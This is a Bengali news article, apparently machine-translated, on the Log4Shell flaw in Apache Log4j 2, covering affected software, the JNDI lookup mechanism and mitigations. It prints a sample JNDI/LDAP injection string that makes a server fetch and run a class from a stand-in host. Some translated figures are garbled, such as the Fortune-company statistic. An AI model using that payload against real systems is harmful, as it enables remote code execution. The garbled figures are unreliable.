Log4Shell, Apache Log4j 2 এর একটি গুরুতর দুর্বলতা যা অনেক জাভা প্রকল্পকে প্রভাবিত করে

সম্প্রতি এসe খবর প্রকাশ করেছে যে Apache Log4j 2-এ একটি গুরুতর দুর্বলতা চিহ্নিত করা হয়েছে, যা জাভা অ্যাপ্লিকেশনগুলিতে রেজিস্ট্রি সংগঠিত করার জন্য একটি জনপ্রিয় কাঠামো হিসাবে চিহ্নিত করা হয়, যখন "{jndi: URL}" ফরম্যাটে রেজিস্ট্রিতে একটি বিশেষ ফর্ম্যাট করা মান লেখা হয় তখন নির্বিচারে কোড চালানোর অনুমতি দেয়।

ক্ষতিগ্রস্থতা এটা লক্ষণীয় কারণ জাভা অ্যাপ্লিকেশনে হামলা চালানো যায়তারা বহিরাগত উত্স থেকে প্রাপ্ত মানগুলি রেকর্ড করে, উদাহরণস্বরূপ ত্রুটি বার্তাগুলিতে সমস্যাযুক্ত মানগুলি প্রদর্শন করে।

এটা পর্যবেক্ষণ করা হয় যে Apache Struts, Apache Solr, Apache Druid বা Apache Flink এর মতো ফ্রেমওয়ার্ক ব্যবহার করে এমন প্রায় সমস্ত প্রকল্প প্রভাবিত হয়, Steam, Apple iCloud, Minecraft ক্লায়েন্ট এবং সার্ভার সহ।

দুর্বলতাটি এন্টারপ্রাইজ অ্যাপ্লিকেশনগুলিতে ব্যাপক আক্রমণের তরঙ্গের দিকে পরিচালিত করবে বলে আশা করা হচ্ছে, ফ্রেমওয়ার্ক, Apache Struts-এ জটিল দুর্বলতার ইতিহাসের পুনরাবৃত্তি, যা ফরচুন 65 ওয়েব অ্যাপ্লিকেশনের 100% এ ব্যবহৃত একটি মোটামুটি অনুমান। কোম্পানির ওয়েব অ্যাপ্লিকেশনগুলির তালিকা দুর্বল সিস্টেমের জন্য নেটওয়ার্ক স্ক্যান করার জন্য ইতিমধ্যে রেকর্ড করা প্রচেষ্টা অন্তর্ভুক্ত।

দুর্বলতা অননুমোদিত কোড দূরবর্তী কার্যকর করার অনুমতি দেয়। Log4j 2 হল একটি ওপেন সোর্স জাভা লগ লাইব্রেরি যা অ্যাপাচি ফাউন্ডেশন দ্বারা তৈরি করা হয়েছে। Log4j 2 অনেক অ্যাপ্লিকেশনে ব্যাপকভাবে ব্যবহৃত হয় এবং অনেক পরিষেবাতে নির্ভরতা হিসাবে উপস্থিত রয়েছে। এর মধ্যে রয়েছে ব্যবসায়িক অ্যাপ্লিকেশনের পাশাপাশি অসংখ্য ক্লাউড পরিষেবা।

Randori আক্রমণ দল একটি কার্যকরী শোষণ তৈরি করেছে এবং আমাদের আক্রমণাত্মক নিরাপত্তা প্ল্যাটফর্মের অংশ হিসাবে গ্রাহক পরিবেশে এই দুর্বলতাকে সফলভাবে কাজে লাগাতে সক্ষম হয়েছে। 

বিভিন্ন অ্যাপ্লিকেশন-নির্দিষ্ট পদ্ধতির মাধ্যমে দুর্বলতা অ্যাক্সেস করা যেতে পারে। প্রকৃতপক্ষে, যেকোন দৃশ্যকল্প যা একটি দূরবর্তী সংযোগকে নির্বিচারে ডেটা সরবরাহ করার অনুমতি দেয় যা Log4j লাইব্রেরি ব্যবহার করে একটি অ্যাপ্লিকেশন লগ ফাইলগুলিতে লেখে তা শোষণের জন্য সংবেদনশীল। এই দুর্বলতা বন্য অঞ্চলে শোষিত হওয়ার সম্ভাবনা বেশি এবং হাজার হাজার প্রতিষ্ঠানকে প্রভাবিত করতে পারে। এই দুর্বলতা প্রভাবিত সিস্টেমের জন্য একটি উল্লেখযোগ্য বাস্তব ঝুঁকি প্রতিনিধিত্ব করে।

একটি কার্যকরী শোষণ ইতিমধ্যে প্রকাশিত হয়েছে, যেমনকিন্তু স্থিতিশীল শাখাগুলির জন্য ফিক্স এখনও তৈরি করা হয়নি। CVE শনাক্তকারী এখনও বরাদ্দ করা হয়নি। সমাধানটি শুধুমাত্র log4j-2.15.0-rc1 পরীক্ষা শাখায় অন্তর্ভুক্ত করা হয়েছে। দুর্বলতা অবরুদ্ধ করার জন্য একটি সমাধান হিসাবে, Log4j2.formatMsgNoLookups প্যারামিটারটিকে সত্য হিসাবে সেট করার পরামর্শ দেওয়া হচ্ছে৷

সমস্যা এটি এই কারণে যে Log4j 2 লগ লাইনে বিশেষ মাস্ক «{}» পরিচালনা করতে সমর্থন করে, যা JNDI প্রশ্ন চালানো যেতে পারে (জাভা নামকরণ এবং ডিরেক্টরি ইন্টারফেস)।

CVE-2021-44228 বিশ্লেষণ করে, Randori নিম্নলিখিত নির্ধারণ করেছে:

বহুল ব্যবহৃত ব্যবসায়িক সফ্টওয়্যারের ডিফল্ট ইনস্টলেশনগুলি ঝুঁকিপূর্ণ।
দুর্বলতা নির্ভরযোগ্যভাবে এবং প্রমাণীকরণ ছাড়াই কাজে লাগানো যেতে পারে।
দুর্বলতা Log4j 2 এর একাধিক সংস্করণকে প্রভাবিত করে৷
ব্যবহারকারী যখন লাইব্রেরি ব্যবহার করে অ্যাপ্লিকেশন চালায় তখন দুর্বলতা দূরবর্তী কোড কার্যকর করার অনুমতি দেয়।

আক্রমণটি "$ {jndi: ldap: //example.com/a}" প্রতিস্থাপনের সাথে একটি স্ট্রিং পাস করে, যা প্রক্রিয়াকরণ করে Log4j 2 আক্রমণকারী.com সার্ভারে জাভা ক্লাসের পাথের জন্য একটি LDAP অনুরোধ পাঠাবে . আক্রমণকারীর সার্ভার দ্বারা ফিরে আসা পথটি (উদাহরণস্বরূপ, http://example.com/Exploit.class) বর্তমান প্রক্রিয়ার প্রেক্ষাপটে লোড এবং কার্যকর করা হবে, যা আক্রমণকারীকে অধিকার সহ সিস্টেমে নির্বিচারে কোড সম্পাদন করতে দেয় বর্তমান আবেদনের।

অবশেষে, এটি উল্লেখ করা হয় যে যদি অস্বাভাবিকতা পাওয়া যায়, এটা বাঞ্ছনীয় যে আপনি ধরে নিন এটি একটি সক্রিয় ঘটনা, এটির সাথে আপস করা হয়েছে এবং সেই অনুযায়ী প্রতিক্রিয়া জানান৷ Log4j 2 বা প্রভাবিত অ্যাপ্লিকেশনের প্যাচ করা সংস্করণে আপগ্রেড করা এই দুর্বলতা দূর করবে। Randori যেকোন সংস্থার পরামর্শ দেয় যে এটি প্রভাবিত হতে পারে বলে মনে করে একটি প্যাচড সংস্করণে জরুরিভাবে আপগ্রেড করুন৷

Apache Log4j দলের সর্বশেষ আপডেটে, সংস্থাগুলি নিম্নলিখিতগুলি করার পরামর্শ দেয়

  • Log4j 2.15.0-এ আপডেট করুন
  • যারা 2.15.0-এ আপগ্রেড করতে পারে না তাদের জন্য: সংস্করণ> = 2.10-এ, log4j2.formatMsgNoLookup সিস্টেম বৈশিষ্ট্য বা LOG4J_FORMAT_MSG_NO_LOOKUPS এনভায়রনমেন্ট ভেরিয়েবলকে সত্যে সেট করে এই দুর্বলতা হ্রাস করা যেতে পারে।
  • 2,0-beta9 থেকে 2.10.0 সংস্করণের জন্য, প্রশমন হল ক্লাসপাথ থেকে JndiLookup ক্লাস সরিয়ে দেওয়া: zip -q -d log4j-core - *. Jar org/apache/logging/log4j/core/lookup/JndiLookup.class।

উৎস: https://www.lunasec.io/


আপনার মন্তব্য দিন

আপনার ইমেল ঠিকানা প্রকাশিত হবে না। প্রয়োজনীয় ক্ষেত্রগুলি দিয়ে চিহ্নিত করা *

*

*

  1. ডেটার জন্য দায়বদ্ধ: মিগুয়েল অ্যাঞ্জেল গাটান
  2. ডেটার উদ্দেশ্য: নিয়ন্ত্রণ স্প্যাম, মন্তব্য পরিচালনা।
  3. আইনীকরণ: আপনার সম্মতি
  4. তথ্য যোগাযোগ: ডেটা আইনি বাধ্যবাধকতা ব্যতীত তৃতীয় পক্ষের কাছে জানানো হবে না।
  5. ডেটা স্টোরেজ: ওসেন্টাস নেটওয়ার্কস (ইইউ) দ্বারা হোস্ট করা ডেটাবেস
  6. অধিকার: যে কোনও সময় আপনি আপনার তথ্য সীমাবদ্ধ করতে, পুনরুদ্ধার করতে এবং মুছতে পারেন।